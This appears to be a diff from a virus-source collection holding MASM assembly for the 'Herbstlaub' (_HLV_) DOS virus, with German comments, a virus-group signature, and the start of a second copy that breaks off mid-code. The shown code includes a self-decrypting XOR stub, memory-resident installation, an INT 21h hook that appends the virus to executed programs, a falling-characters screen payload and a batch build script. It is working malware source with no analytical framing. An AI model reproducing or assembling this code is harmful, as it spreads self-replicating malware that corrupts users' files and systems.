+ENDIF ; +ELSE ; + .ERR ; +ENDIF ; +ENDIF ; +IF SWITCHABLE ; +IF2 ; +%Out ͻ +%Out Neuer interner MSDOS Befehl '_HLV_' ! +ENDIF ; +ELSE ; +IF2 ; +%Out ͻ +%Out Kommando '_HLV_' nicht implementiert. +ENDIF ; +ENDIF ; +DISPNUM MACRO nu,nuxx ; +%Out (Monat - Jahr) nu - nuxx +ENDM ; +IF2 ; +%Out Bis zum Jahresende aktiv ab: +.radix 10 ; +DISPNUM %MONTH,%YEAR ; +.radix 16 ; +%Out ͼ +endif ; +XI_025: REST DS,ES,BP,DI,SI,DX,CX,BX,AX,F ;----------------; + JMP XI_014 ; +IF DEMO ; + ; + comment # +Ŀ + Statt APPEND in der DEMO - Version aufgerufene Prozedur. + + # ; +DEMO_INFECT PROC NEAR ; + push ax ; + push cx ; + in al,61 ; + or al,3 ; + out 61,al ; + mov al,0b6 ; + out 43,al ; + mov cx,0a ; +XI_026: dec cx ; + jz XI_030 ; +XI_027: mov ax,200d ; +XI_028: dec ax ; + cmp ax,100d ; + jz XI_031 ; + push ax ; + out 42,al ; + push cx ; + mov cx,150d ; +XI_029: nop ; + loop XI_029 ; + pop cx ; + mov al,ah ; + out 42,al ; + pop ax ; + jmp XI_028 ; +XI_030: in al,61 ; + and al,0fc ; + out 61,al ; + pop cx ; + pop ax ; + ret ; +XI_031: inc ax ; + cmp ax,600d ; + jz XI_026 ; + push ax ; + out 42,al ; + push cx ; + mov cx,150d ; +XI_032: nop ; + loop XI_032 ; + pop cx ; + mov al,ah ; + out 42,al ; + pop ax ; + jmp XI_031 ; +DEMO_INFECT ENDP ; + ; +ELSE ; + comment # +Ŀ + Append Virus - von der Int21ISR aufgerufene Infektions-Prozdur + + # ; +Append_Virus PROC NEAR ; + SAVE ES,BX ; + MOV AH,MS_AllocMem ;----------; + MOV BX,(OFFSET EOFC - OFFSET Crypt1) SHR 4 + 1 ; + MSDOS ;----------; + POP BX ; + JNB XI_034 ; +XI_033: STC ; + POP ES ; + RET ; +XI_034: MOV CS:[Crypt3],EnCrptd ; + MOV ES,AX ; + MOV_S DS,CS ; + XOR DI,DI ; + MOV SI,PSPsize ; + MOV CX,OFFSET EOFC ; + CLD ; + REPZ MOVSB ; + MOV DI,OFFSET XI_003 ; + MOV SI,OFFSET XR_001 ; + ADD SI,[File_Size_lsb] ; + MOV CX,OFFSET EOFC - OFFSET XI_003 ; +XI_035: XOR ES:[DI],SI ; + XOR ES:[DI],CX ; + INC DI ; + INC SI ; + LOOP XI_035 ; + MOV DS,AX ; + MOV AH,MS_Write ; + XOR DX,DX ; + MOV CX,OFFSET EOFC ; + MSDOS ; + SAVE F,AX ; + MOV AH,MS_ReleaseMem ; + MSDOS ; + REST AX,F ; + MOV_S DS,CS ; + JB XI_033 ; + CMP AX,CX ; + JNZ XI_033 ; + POP ES ; + CLC ; + RET ; +Append_Virus ENDP ; + ; +ENDIF ; + comment # +Ŀ + 'Zufallszahlen' - Generator. + + # ; +Random PROC NEAR ; + SAVE DS ; + MOV_S DS,CS ; + SAVE BX,CX,DX,AX ; + MOV CX,7 ; + MOV BX,offset LastRandom ; + PUSH [BX] ; +XI_036: MOV AX,[BX-02] ; + ADC [BX],AX ; + DEC BX ; + DEC BX ; + LOOP XI_036 ; + POP AX ; + ADC [BX],AX ; + MOV DX,[BX] ; + POP AX ; + OR AX,AX ; + JZ XI_037 ; + MUL DX ; +XI_037: MOV AX,DX ; + REST DX,CX,BX,DS ; + RET ; +Random ENDP ; + comment # +Ŀ + Zeichen und Attribut aus Videospeicher auslesen. + + # ; +Load_from_VRAM PROC NEAR ; + SAVE SI,DS,DX ; + MOV AL,DH ; + MUL [Num_of_Col] ; + MOV DH,0 ; + ADD AX,DX ; + SHL AX,1 ; + ADD AX,[Page_offset] ; + MOV SI,AX ; + TEST [Prevent_Snow?],-1 ; + MOV DS,[Seg_of_VRAM] ; + JZ XI_038 ; + Wait_HRI_or_VRI ; +XI_038: LODSW ; + STI ; + REST DX,DS,SI ; + RET ; +Load_from_VRAM ENDP ; + comment # +Ŀ + Zeichen und Attribut (AX) in den Videospeicher schreiben. + + # ; +Write_to_VRAM PROC NEAR ; + SAVE DI,ES,DX,BX ; + MOV BX,AX ; + MOV AL,DH ; + MUL [Num_of_Col] ; + MOV DH,0 ; + ADD AX,DX ; + SHL AX,1 ; + ADD AX,[Page_offset] ; + MOV DI,AX ; + TEST [Prevent_Snow?],-1 ; + MOV ES,[Seg_of_VRAM] ; + JZ XI_039 ; + Wait_HRI_or_VRI ; +XI_039: MOV AX,BX ; + STOSB ; + STI ; + REST BX,DX,ES,DI ; + RET ; +Write_to_VRAM ENDP ; + comment # +Ŀ + Bit 0 von Port B des 8255 Chips zurcksetzen (IO-Adresse : &H61 ). + + # ; +Toggle_Speaker PROC NEAR ; + PUSH AX ; + IN AL,PORT_B_8255 ; + XOR AL,02 ; + AND AL,0FE ; + OUT PORT_B_8255,AL ; + POP AX ; + RET ; +Toggle_Speaker ENDP ; + comment # +Ŀ + CF gesetzt, wenn AL ein nicht darstellbares Zeichen enthlt. + + # ; +Is_it_blank_? PROC NEAR ; + CMP AL,0 ; + JZ XI_040 ; + CMP AL,20 ; + JZ XI_040 ; + CMP AL,-1 ; + JZ XI_040 ; + CLC ; + RET ; +XI_040: STC ; + RET ; +Is_it_blank_? ENDP ; + comment # +Ŀ + CF gesetzt, wenn AL ein Zeichen aus dem Linienzeichensatz enthlt. + + # ; +Spec_Graphik? PROC NEAR ; + CMP AL,0B0 ; + JB XI_041 ; + CMP AL,0DF ; + JA XI_041 ; + STC ; + RET ; +XI_041: CLC ; + RET ; +Spec_Graphik? ENDP ; + comment # +Ŀ + Geschwindigkeit der Maschine ( zur Verwendung in DELAY ) ermitteln. + + # ; +GetSysSpeed PROC NEAR ; + PUSH DS ; + MOV AX,BIOSDATASEG ; + MOV DS,AX ; + STI ; + MOV AX,[B_TIMERVAR] ; +XI_042: CMP AX,[B_TIMERVAR] ; + JZ XI_042 ; + XOR CX,CX ; + MOV AX,[B_TIMERVAR] ; +XI_043: INC CX ; + JZ XI_045 ; + CMP AX,[B_TIMERVAR] ; + JZ XI_043 ; +XI_044: POP DS ; + MOV AX,CX ; + XOR DX,DX ; + MOV CX,0F ; + DIV CX ; + MOV CS:[Speed],AX ; + RET ; +XI_045: DEC CX ; + JMP XI_044 ; +GetSysSpeed ENDP ; + comment # +Ŀ + Verzgern ( Verzgerungszeit ist kaum maschinenabhngig ). + + # ; +Delay PROC NEAR ; + PUSH CX ; +XI_046: PUSH CX ; + MOV CX,[Speed] ; +XI_047: LOOP XI_047 ; + POP CX ; + LOOP XI_046 ; + POP CX ; + RET ; +Delay ENDP ; + comment # +Ŀ + Eine neue Interrupt 1C(h) Behandlungsroutine. + + # ; +XI_048 LABEL NEAR ; +XR_009 EQU XI_048 + PSPsize ;----------; + TEST CS:[ISR_Flags],MASK R_in_1c OR MASK ExtCom ; + JZ XI_049 ;----------; + JMP XI_067 ; +XI_049: OR CS:[ISR_Flags],MASK R_in_1c ; + DEC CS:[XR_002] ; + JZ XI_050 ; + JMP XI_066 ; +XI_050: SAVE DS,ES ; + MOV_S DS,CS ; + MOV_S ES,CS ; + SAVE AX,BX,CX,DX,SI,DI,BP ; + MOV AL,EOI_8259A ; + OUT PORT_B_8259A,AL ; + MOV AX,[XR_003] ; + CMP AX,0438 ; + JNB XI_051 ; + MOV AX,0438 ; +XI_051: CALL Random ; + INC AX ; + MOV [XR_002],AX ; + MOV [XR_003],AX ; + PUSH DS ; + MOV AX,BIOSDATASEG ; + MOV DS,AX ; + MOV AX,[B_VidPage] ; + POP DS ; + MOV [Page_offset],AX ; + MOV [Last_Line],18 ; + MOV DL,-1 ; + MOV AX,1130 ; + MOV BH,0 ; + SAVE ES,BP ; + INT 10 ; + REST BP,ES ; + CMP DL,-1 ; + JZ XI_052 ; + MOV [Last_Line],DL ; +XI_052: CALL GetSysSpeed ; + MOV AH,0F ; + INT 10 ; + MOV [Num_of_Col],AH ; + MOV [Prevent_Snow?],0 ; + MOV [Seg_of_VRAM],MonoBase ; + CMP AL,07 ; + JZ XI_054 ; + JB XI_053 ; + JMP XI_064 ; +XI_053: MOV [Seg_of_VRAM],ColorBase ; + CMP AL,03 ; + JA XI_054 ; + CMP AL,02 ; + JB XI_054 ; + MOV [Prevent_Snow?],01 ; + MOV AL,[Last_Line] ; + INC AL ; + MUL [Num_of_Col] ; + MOV [Num_of_char],AX ; + MOV AX,[XR_004] ; + CMP AX,[Num_of_char] ; + JBE XI_054 ; + MOV AX,[Num_of_char] ; +XI_054: CALL Random ; + INC AX ; + MOV SI,AX ; +XI_055: XOR DI,DI ; +XI_056: INC DI ; + MOV AX,[Num_of_char] ; + SHL AX,1 ; + CMP DI,AX ; + JBE XI_057 ; + JMP XI_064 ; +XI_057: OR [ISR_Flags],MASK Recf_1 ; + MOV AL,[Num_of_Col] ; + MOV AH,0 ; + CALL Random ; + MOV DL,AL ; + MOV AL,[Last_Line] ; + MOV AH,0 ; + CALL Random ; + MOV DH,AL ; + CALL Load_from_VRAM ; + CALL Is_it_blank_? ; + JB XI_056 ; + CALL Spec_Graphik? ; + JB XI_056 ; + MOV [Last_Pair],AX ; + MOV CL,[Last_Line] ; + MOV CH,0 ; +XI_058: INC DH ; + CMP DH,[Last_Line] ; + JA XI_062 ; + CALL Load_from_VRAM ; + CMP AH,[Last_Attr] ; + JNZ XI_062 ; + CALL Is_it_blank_? ; + JB XI_060 ; +XI_059: CALL Spec_Graphik? ; + JB XI_062 ; + INC DH ; + CMP DH,[Last_Line] ; + JA XI_062 ; + CALL Load_from_VRAM ; + CMP AH,[Last_Attr] ; + JNZ XI_062 ; + CALL Is_it_blank_? ; + JNB XI_059 ; + CALL Toggle_Speaker ; + DEC DH ; + CALL Load_from_VRAM ; + MOV [Last_Char],AL ; + INC DH ; +XI_060: AND [ISR_Flags],NOT MASK Recf_1 ; + DEC DH ; + MOV AL,' ' ; + CALL Write_to_VRAM ; + INC DH ; + MOV AL,[Last_Char] ; + CALL Write_to_VRAM ; + JCXZ XI_061 ; + CALL Delay ; + DEC CX ; +XI_061: JMP XI_058 ; +XI_062: TEST [ISR_Flags],MASK Recf_1 ; + JZ XI_063 ; + JMP XI_056 ; +XI_063: CALL Toggle_Speaker ; + DEC SI ; + JZ XI_064 ; + JMP XI_055 ; +XI_064: IN AL,PORT_B_8255 ; + AND AL,0FC ; + OUT PORT_B_8255,AL ; + MOV AX,3 ; + CALL Random ; + INC AX ; + MUL [XR_004] ; + JNB XI_065 ; + MOV AX,-1 ; +XI_065: MOV [XR_004],AX ; + REST BP,DI,SI,DX,CX,BX,AX,ES,DS ; +XI_066: AND CS:[ISR_Flags],NOT MASK R_in_1c ; +XI_067: JMP DWORD PTR CS:[Org_Int_1C] ; + ; +IF SWITCHABLE ; + ; + comment # +Ŀ + Implementierung eines neuen in CMD_2F definierten internen Befehls. + + # ; +XI_068 Label Near ; +Int_2F_ISR EQU XI_068 + PSPsize ; + CMP AH,0AEH ; + JNZ Int_2F_end ; + CMP DX,-1 ; + JNZ Int_2F_end ; + CMP AL,0 ; + JNZ Int_2F_2nd ; + CALL Decode_2F ; + JNZ Int_2F_end ; + DEC AL ; + IRET ; +Int_2F_2nd: CMP AL,1 ; + JNZ Int_2F_end ; + CALL Decode_2F ; + JNZ Int_2F_end ; + SAVE DS,DX,AX ; + MOV_S DS,CS ; + XOR [ISR_Flags],MASK ExtCom ; + MOV DX,OFFSET MSG_ON ; + TEST [ISR_Flags],MASK ExtCom ; + JZ XI_069 ; + MOV DX,OFFSET MSG_OFF ; +XI_069: MOV AH,9 ; + MSDOS ; + REST AX,DX,DS ; + AND BYTE PTR [SI],0 ; + IRET ; +Int_2F_end: JMP DWORD PTR CS:[Org_Int_2F] ; + comment # +Ŀ + berprfen, ob der in CMD_2F definierte Befehl angesprochen wurde. + + # ; +Decode_2F PROC NEAR ; + SAVE SI,DI,ES,CX ; + MOV CX,05 ; + MOV_S ES,CS ; + MOV DI,OFFSET Cmd_2F ; + CLD ; + REPE CMPSW ; + REST CX,ES,DI,SI ; + RET ; +Decode_2F ENDP ; + ; +ENDIF ; + comment # +Ŀ + Okay, das war's. Zum Schlu noch einige Definitionen. + + # ; +EOFC EQU THIS WORD ; +XR_010 EQU OFFSET EOFC - 1 + FIRSTBASE ; +TEXT ENDS ; +IF2 ;----------------; +%Out +%Out (C) 1990 164A12565AA18213165556D3125C4B962712 ͼ +ENDIF ; +comment # +ͻ + + So knnte ein Batch - Makefile aussehen : + + @cls + @if %1.==. goto nopar + @if not exist %1.asm goto noasm + @ctty nul + @del %1.obj + @del %1.lst + @del %1.crf + @del %1.ref + @del %1.map + @del %1.exe + @del %1.bin + @del _HLV_.COM + @ctty con + @masm /b63 %1,,%1,%1 %2 %3 %4; + @if not exist %1.obj goto masm_err + @link %1,,%1; + @if not exist %1.exe goto link_err + @exe2bin %1; + @if not exist %1.bin goto exe2_err + @cref %1; + @if not exist %1.ref goto cref_err + @echo >> %1.lst + @copy %1.lst+%1.map+%1.ref %1.t > nul + @del %1.lst > nul + @ren %1.t %1.lst > nul + @del %1.obj > nul + @del %1.crf > nul + @del %1.ref > nul + @del %1.map > nul + @del %1.exe > nul + @echo n %1.bin > md.inp + @echo l 11f >> md.inp + @echo a 110 >> md.inp + @echo add cx,20 >> md.inp + @echo. >> md.inp + @echo g =110 113 >> md.inp + @echo f 110 11e 20 >> md.inp + @echo e 110 '%1' >> md.inp + @echo f 100 10f 90 >> md.inp + @echo a 100 >> md.inp + @echo jmp 120 >> md.inp + @echo nop >> md.inp + @echo nop >> md.inp + @echo nop >> md.inp + @echo mov ax,4c00 >> md.inp + @echo int 21 >> md.inp + @echo. >> md.inp + @echo n _HLV_.com >> md.inp + @echo w >> md.inp + @echo q >> md.inp + @debug < md.inp > nul + @cls + @echo. + @echo ͻ + @echo + @echo MAKEHLV erfolgreich beendet, _HLV_.com wurde erstellt. + @echo + @echo ͼ + @echo. + @goto ende + :nopar + @echo FEHLER ! Mindestens ein Parameter ist erforderlich ! + @echo Syntax : MAKEHLV asmfile [switches] + @goto ende + :noasm + @echo FEHLER ! Die Datei %1.ASM ist nicht zu finden ! + @goto ende + :masm_err + @echo FEHLER ! %1.OBJ konnte nicht erstellt werden ! + @goto ende + :link_err + @echo FEHLER ! %1.EXE konnte nicht erstellt werden ! + @goto ende + :exe2_err + @echo FEHLER ! %1.BIN konnte nicht erstellt werden ! + @goto ende + :cref_err + @echo FEHLER ! %1.REF konnte nicht erstellt werden ! + :ende + +ͼ +# +END + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/c/CASCSPEC (34).ASM b/c/CASCSPEC (34).ASM new file mode 100755 index 0000000..4ccbc83 --- /dev/null +++ b/c/CASCSPEC (34).ASM @@ -0,0 +1,1183 @@ +PAGE 62,132 +TITLE _HLV_ (- Microsoft MASM 5.1 source -) +SUBTTL (C) 1990 164A12565AA18213165556D3125C4B962712 +.RADIX 16 +.LALL + +TRUE EQU 1 +FALSE EQU 0 + +MONTH EQU 9D +YEAR EQU 1991D + +DEMO EQU TRUE + +SWITCHABLE = TRUE +IFDEF _NOSWITCH +SWITCHABLE = FALSE +ENDIF + +comment # +ͻ + + ===================== + H E R B S T L A U B + ===================== + + + SPRACHE: MASM 4.00 (+) [ frhere Versionen brechen z.B. mit + *OUT OF MEMORY* (3.00) ab oder lassen + sogar den PC abstrzen (1.10) ] + + ( Eine als Beispiel gedachte Batchdatei zur Steuerung der bersetzung + ist am Ende dieses Quelltextes als Kommentar hinzugefgt. ) + +ͼ +Ŀ + Whrend der bersetzung zu auszugebende Meldungen, 1. Teil. + +# +IF1 +REPT 50 +%Out +ENDM; +%Out ͻ +%Out +%Out Ŀ +%Out Ĵ H E R B S T L A U B İ +%Out ٰ +%Out +ENDIF +comment # +Ŀ + Einige Assembler - Makros. + +# ; +MSDOS MACRO ; + INT 21 ; + ENDM ; +Wait_HRI_or_VRI MACRO ; + LOCAL _X_1, _X_2, _X_3 ; + MOV DX,03DA ; + CLI ; + _X_1: IN AL,DX ; + TEST AL,08 ; + JNZ _X_3 ; + TEST AL,01 ; + JNZ _X_1 ; + _X_2: IN AL,DX ; + TEST AL,01 ; + JZ _X_2 ; + _X_3 LABEL NEAR ; + ENDM ;------; +SAVE MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c ; + IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> ; + IFNB <_X> ;------; + IFIDN <_X>, ; + PUSHF ; + ELSE ; + PUSH _X ; + ENDIF ; + ENDIF ; + ENDM ; + ENDM ;------; +REST MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c ; + IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> ; + IFNB <_X> ;------; + IFIDN <_X>, ; + POPF ; + ELSE ; + POP _X ; + ENDIF ; + ENDIF ; + ENDM ; + ENDM ; +MOV_S MACRO S1,S2 ; + PUSH S2 ; + POP S1 ; + ENDM ; + comment # +Ŀ + Start des Code-Segments, Segment Prefix Bytes werden n i c h t au- + tomatisch durch den Assembler erzeugt. + + # ; +TEXT SEGMENT ; + ASSUME CS:TEXT,DS:TEXT,ES:TEXT,SS:TEXT ; + comment # +Ŀ + Einige das Verstndnis erleichternde Definitionen. + + # ; +NearJmp EQU 0E9 ; +PORT_B_8259A EQU 20 ; +EOI_8259A EQU 20 ; +PORT_B_8255 EQU 61 ; +FIRSTCONST EQU 0131 ; +FIRSTBASE EQU FIRSTCONST - OFFSET XI_001 ;-----; +FIRSTBASE2 EQU (FIRSTCONST + OFFSET XI_005 - XI_001) ; +DeCrptd EQU 0 ;-----; +EnCrptd EQU 1 ; +BIOSDATASEG EQU 040 ; +MonoBase EQU 0B000 ; +ColorBase EQU 0B800 ; +B_VIDPAGE EQU THIS WORD + 04E ; +B_TIMERVAR EQU THIS WORD + 06C ; +TimerInt EQU 1C ; +DOS EQU 21 ; +DOS_multi EQU 2F ; +MS_SetDTA EQU 1A ; + DTA_in_PSP EQU 80 ; +MS_SetInt EQU 25 ; +MS_GetDateTime EQU 2A ; +MS_GetVer EQU 30 ; + DOS_v_02 EQU 2 ; +MS_GetInt EQU 35 ; +MS_Open EQU 3Dh ; + Read_Only EQU 0 ; + Read_Write EQU 2 ; +MS_Close EQU 3E ; +MS_Read EQU 3F ; +MS_Write EQU 40 ; +MS_MoveFP EQU 42 ; + OfsFrmTop EQU 0 ; + OfsFrmEnd EQU 02 ; +MS_GetFileAttr EQU 4300 ; +MS_SetFileAttr EQU 4301 ; + Attr_A EQU 20 ; + Attr_SHR EQU 7 ; + Attr_ASHR EQU Attr_A OR Attr_SHR ; +MS_AllocMem EQU 48 ; +MS_ReleaseMem EQU 49 ; + MemCBsig EQU THIS BYTE + 0 ; + MemCBowned EQU THIS WORD + 1 ; + MemCBsize EQU THIS WORD + 3 ; +MS_Exec EQU 4Bh ; + MS_Exec_SF0 EQU 0 ; + Virus_fun EQU 0ffh ; + Virus_Sig EQU 55AA ; +MS_SetPSP EQU 50 ; + PSPsize EQU 00100 ; + PSPCurCom EQU THIS WORD + 016 ; + PSPEnv EQU THIS WORD + 02C ; + PSP_SegJFB EQU THIS WORD + 036 ; + NoEnv EQU 0 ; +MS_GetFileDate EQU 5700 ; +MS_SetFileDate EQU 5701 ; +PSP_100 EQU THIS WORD + PSPsize ; +PSP_102 EQU THIS BYTE + PSPsize + 2 ; + comment # +Ŀ + Ab hier wird Objektcode erzeugt, Datenbereich Nr. 1. + + # ; +Crypt1 DB 0 ; +Crypt2 EQU OFFSET Crypt1 + FIRSTBASE ; +Crypt3 EQU Crypt1 + PSPsize ; + comment # +Ŀ + Einsprungstelle, entschlsseln des Virus falls notwendig. + + # ; +XI_000: CLI ; + MOV BP,SP ; + CALL XI_001 ; +XI_001: POP BX ; + SUB BX,FIRSTCONST ; + TEST BYTE PTR CS:[BX+Crypt2],EnCrptd ; + JZ XI_003 ; + LEA SI,[BX + XR_000] ; + MOV SP,OFFSET EOFC-OFFSET XI_003 ; +XI_002: XOR [SI],SI ; + XOR [SI],SP ; + INC SI ; + DEC SP ; + JNZ XI_002 ; +XI_003 LABEL NEAR ; + XR_000 EQU OFFSET XI_003 + FIRSTBASE ; + XR_001 EQU XI_003 + PSPsize ; + MOV SP,BP ; + JMP SHORT XI_004 ; + comment # +Ŀ + Datenbereich 2. + + # ; + XD_000 DW PSPsize ; +Disp_to_com_1 EQU OFFSET XD_000 + FIRSTBASE ; + XD_001 DW 9090 ; +Disp_to_com_2 EQU OFFSET XD_001 + FIRSTBASE ; + XD_002 DW 9090 ; +Initial_AX EQU OFFSET XD_002 + FIRSTBASE ; + XD_003 EQU THIS WORD ; + XD_004 EQU THIS BYTE + 2 ; + NOP ; + NOP ; + NOP ; +Org1stInstr_s1 EQU OFFSET XD_003 + FIRSTBASE ; +Org1stInstr_t1 EQU XD_003 + PSPsize ; +Org1stInstr_t2 EQU XD_003 + PSPsize + 1 ; +Org1stInstr_s2 EQU OFFSET XD_004 + FIRSTBASE ; + XD_005 DW 2 dup ( 9090 ) ; +Org_Int_1C EQU XD_005 + PSPsize ; + XD_006 DW 2 dup ( 9090 ) ; +Org_int_21s EQU OFFSET XD_006 + FIRSTBASE ; +Org_Int_21t EQU XD_006 + PSPsize ; + ; +IF SWITCHABLE ; + ; + XD_007 DW 2 dup ( 9090 ) ; +Org_Int_2F EQU XD_007 + PSPsize ; + XD_008 DB 5, "_HLV_ " ; +Cmd_2F EQU XD_008 + PSPsize ; + XD_009 DB 'HLV is on',0Dh,0Ah,'$' ; +Msg_On EQU XD_009 + PSPsize ; + XD_010 DB 'HLV is off',0Dh,0Ah,'$' ; +Msg_Off EQU XD_010 + PSPsize ; + ; +ENDIF ; + ; + XD_011 DW 9090 ; +File_Attributes EQU XD_011 + PSPsize ; + XD_012 DW 9090 ; +File_Date EQU XD_012 + PSPsize ; + XD_013 DW 9090 ; +File_Time EQU XD_013 + PSPsize ; + XD_014 DW 2 dup ( 9090 ) ; +Pathname EQU XD_014 + PSPsize ; + XD_015 DW 2 dup ( 9090 ) ; +File_Size_lsb EQU XD_015 + PSPsize ; +File_Size_msb EQU XD_015 + PSPsize + 2 ; + XD_016 DB NearJmp ; +FirstOpCode_1 EQU XD_016 + PSPsize ; + XD_017 DW 9090 ; +FirstOpCode_2 EQU XD_017 + PSPsize ; + XD_018 DB 90 ; +Num_of_Col EQU XD_018 + PSPsize ; + XD_019 DB 90 ; +Last_Line EQU XD_019 + PSPsize ; + XD_020 DB 90 ; +Prevent_Snow? EQU XD_020 + PSPsize ; +Last_Pair EQU THIS WORD + PSPsize ; + XD_021 DB 90 ; + XD_022 DB 90 ; +Last_Char EQU XD_021 + PSPsize ; +Last_Attr EQU XD_022 + PSPsize ; +RecTyp1 RECORD ExtCom:1, Recf_1:1, R_in_1c:1 ; + XD_023 RecTyp1 <0,0,0> ; +ISR_Flags EQU XD_023 + PSPsize ; + XD_024 DW 9090 ; +Seg_of_VRAM EQU XD_024 + PSPsize ; + XD_025 DW 9090 ; +Page_offset EQU XD_025 + PSPsize ; + XD_026 DW 9090 ; +Speed EQU XD_026 + PSPsize ; + XD_027 DW 9090 ; +XR_002 EQU XD_027 + PSPsize ; + XD_028 DW 9090 ; +XR_003 EQU XD_028 + PSPsize ; + XD_029 DW 9090 ; +Num_of_char EQU XD_029 + PSPsize ; + XD_030 DW 9090 ; +XR_004 EQU XD_030 + PSPsize ; + XD_031 DW 7 dup ( 9090 ) ; +FirstRandom EQU XD_031 + PSPsize ; +LastRandom EQU This Word + PSPsize ; + DW 9090 ; + comment # +Ŀ + Installieren u. relozieren falls notwendig. + + # ; +XI_004: CALL XI_005 ; +XI_005 LABEL NEAR ; +XR_005 EQU XI_005 + PSPsize ; + POP BX ; + SUB BX,FIRSTBASE2 ; + MOV CS:[BX+Disp_to_com_2],CS ; + MOV CS:[BX+Initial_AX],AX ; + MOV AX,CS:[BX+Org1stInstr_s1] ; + MOV [PSP_100],AX ; + MOV AL,CS:[BX+Org1stInstr_s2] ; + MOV [PSP_102],AL ; + PUSH BX ; + MOV AH,MS_GetVer ; + MSDOS ; + POP BX ; + CMP AL,DOS_v_02 ; + JB XI_006 ; + MOV AX,MS_Exec * 100 + Virus_fun ; + XOR DI,DI ; + XOR SI,SI ; + MSDOS ; + CMP DI,Virus_sig ; + JNZ XI_007 ; +XI_006: STI ; + MOV_S ES,DS ; + MOV AX,CS:[BX+Initial_AX] ; + JMP DWORD PTR CS:[BX+Disp_to_com_1] ; +XI_007: PUSH BX ; + MOV AX,MS_GetInt * 100 + DOS ; + MSDOS ; + MOV AX,BX ; + POP BX ; + MOV CS:[BX+Org_int_21s],AX ; + MOV CS:[BX+Org_int_21s + 2],ES ;------------; + MOV AX, (OFFSET EOFC - OFFSET Crypt1) SHR 4 + 11 ; + MOV BP,CS ;------------; + DEC BP ; + MOV ES,BP ; + MOV SI,CS:[PSPCurCom] ; + MOV ES:[MemCBowned],SI ; + MOV DX,ES:[MemCBsize] ; + MOV ES:[MemCBsize],AX ; + MOV ES:[MemCBsig],'M' ; + SUB DX,AX ; + DEC DX ; + INC BP ; + ADD BP,AX ; + INC BP ; + MOV ES,BP ; + PUSH BX ; + MOV AH,MS_SetPSP ; + MOV BX,BP ; + MSDOS ; + POP BX ; + XOR DI,DI ; + MOV_S SS,ES ; + PUSH DI ; + LEA DI,[BX+XR_010] ; + MOV SI,DI ; + MOV CX,OFFSET EOFC ; + STD ; + REPZ MOVSB ; + PUSH ES ; + LEA CX,[BX+XR_006] ; + PUSH CX ; + RETF ; +XI_008 LABEL NEAR ; +XR_006 EQU OFFSET XI_008 + FIRSTBASE ; + MOV CS:[BX+Disp_to_com_2],CS ; + LEA CX,[BX+Crypt2] ; + REPZ MOVSB ; + MOV CS:[PSP_SegJFB],CS ; + DEC BP ; + MOV ES,BP ; + MOV ES:[MemCBsize],DX ; + MOV ES:[MemCBsig],'Z' ; + MOV ES:[MemCBowned],CS ; + INC BP ; + MOV ES,BP ; + MOV_S ES,DS ; + MOV_S DS,CS ; + LEA SI,[BX+Crypt2] ; + MOV DI,PSPsize ; + MOV CX,OFFSET EOFC ; + CLD ; + REPZ MOVSB ; + PUSH ES ; + LEA AX,[XR_007] ; + PUSH AX ; + RETF ; +XI_009 LABEL NEAR ; +XR_007 EQU XI_009 + PSPsize ; + MOV CS:[PSPEnv],NoEnv ; + MOV CS:[PSPCurCom],CS ; + PUSH DS ; + LEA DX,[XR_008] ; + MOV_S DS,CS ; + MOV AX,MS_SetInt * 100 + DOS ; + MSDOS ; + POP DS ; + MOV AH,MS_SetDTA ; + MOV DX,DTA_in_PSP ; + MSDOS ; + SAVE DS,ES,SI,DI,CX ; + MOV_S ES,CS ; + MOV CX,BIOSDATASEG ; + MOV DS,CX ; + MOV DI,OFFSET FirstRandom ; + MOV SI,OFFSET B_TIMERVAR ; + MOV CL,8 ; + CLD ; + REPZ MOVSW ; + REST CX,DI,SI,ES,DS ; + ; +IF SWITCHABLE ; + ; + PUSH DS ; + MOV AX,MS_GetInt * 100 + DOS_multi ; + MSDOS ; + MOV CS:[Org_Int_2F],BX ; + MOV CS:[Org_Int_2F + 2],ES ; + MOV AX,MS_SetInt * 100 + DOS_multi ; + MOV DX,offset Int_2F_ISR ; + MOV_S DS,CS ; + MSDOS ; + POP DS ; + ; +ENDIF ; + ; + OR CS:[ISR_Flags],MASK ExtCom ; + MOV AH,MS_GetDateTime ; + MSDOS ; + CMP CX,YEAR ; + JZ XI_010 ; + JMP SHORT XI_011 ; +XI_010: CMP DH,MONTH ; + JB XI_011 ; + AND CS:[ISR_Flags],NOT MASK ExtCom ; +XI_011: MOV AX,1518 ; + CALL Random ; + INC AX ; + MOV CS:[XR_002],AX ; + MOV CS:[XR_003],AX ; + MOV CS:[XR_004],1 ; + MOV AX,MS_GetInt * 100 + TimerInt ; + MSDOS ; + MOV CS:[Org_Int_1C],BX ; + MOV CS:[Org_Int_1C + 2],ES ; + PUSH DS ; + MOV AX,MS_SetInt * 100 + TimerInt ; + MOV DX,OFFSET XR_009 ; + MOV_S DS,CS ; + MSDOS ; + POP DS ; +XI_012: MOV BX,OFFSET XR_005 - (FIRSTBASE2) ; + JMP XI_006 ; + comment # +Ŀ + Neue Interrupt 21(h) Behandlungsroutine ( verndert Exec - Funktion ). + + # ; +XI_013 LABEL NEAR ; +XR_008 EQU XI_013 + PSPsize ; + CMP AH,MS_Exec ; + JZ XI_016 ; +XI_014: JMP DWORD PTR CS:[Org_Int_21t] ; +XI_015: MOV DI,Virus_Sig ; + LES AX,CS:DWORD PTR [Org_Int_21t] ; + MOV DX,CS ; + IRET ; +XI_016: CMP AL,Virus_fun ; + JZ XI_015 ; + CMP AL,MS_Exec_SF0 ; + JNZ XI_014 ; + SAVE F,AX,BX,CX,DX,SI,DI,BP,ES,DS ; + MOV CS:[Pathname],DX ; + MOV CS:[Pathname + 2],DS ; + MOV_S ES,CS ; + MOV AX,MS_Open * 100 + Read_Only ; + MSDOS ; + JB XI_018 ; + MOV BX,AX ; + MOV AX,MS_GetFileDate ; + MSDOS ; + MOV CS:[File_Date],DX ; + MOV CS:[File_Time],CX ; + MOV AH,MS_Read ; + MOV_S DS,CS ; + MOV DX,OFFSET Org1stInstr_t1 ; + MOV CX,3 ; + MSDOS ; + JB XI_018 ; + CMP AX,CX ; + JNZ XI_018 ; + MOV AX,MS_MoveFP * 100 + OfsFrmEnd ; + XOR CX,CX ; + XOR DX,DX ; + 